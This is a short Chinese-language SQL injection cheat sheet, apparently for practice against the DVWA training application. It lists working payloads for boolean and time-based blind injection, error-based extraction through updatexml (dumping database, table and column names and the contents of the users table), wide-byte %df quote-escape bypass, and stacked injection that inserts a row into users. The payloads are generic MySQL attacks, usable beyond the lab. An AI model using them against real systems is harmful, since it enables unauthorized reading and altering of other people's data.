1.盲注入
获取第一个字母的ASCII码值大于99,为真:
1' and ascii(substr(database(),1,1))>99 -- -
【案例】获取第一个字母的ASCII码值小于101,为真:
1' and ascii(substr(database(),1,1))<101 -- -
推出该数据库的第一个字母的ACSII码值为100,即字母"d"。
2.基于时间的盲注
1 and sleep(5)
1' and sleep(5) -- -
3. 报错函数注入
爆出数据库名:1' and updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -
爆出dvwa库下的表:1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='dvwa' ),0x5e),1) -- -
爆出users表中的字段:1' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' ),0x5e),1) -- -
爆出users表中的first_name,last_name的内容:1' and updatexml(1,concat(0x5e,(select group_concat(first_name,0x3e,last_name) from users),0x5e),1) -- -
4.宽字节注入
在注入点输入(')会被转义为(\'),加入%df :
?id=1%df' order by 3 -- -
5.堆叠注入
使用堆叠注入添加数据:?id=1';insert into users values(66,'aiyou','bucuo') --+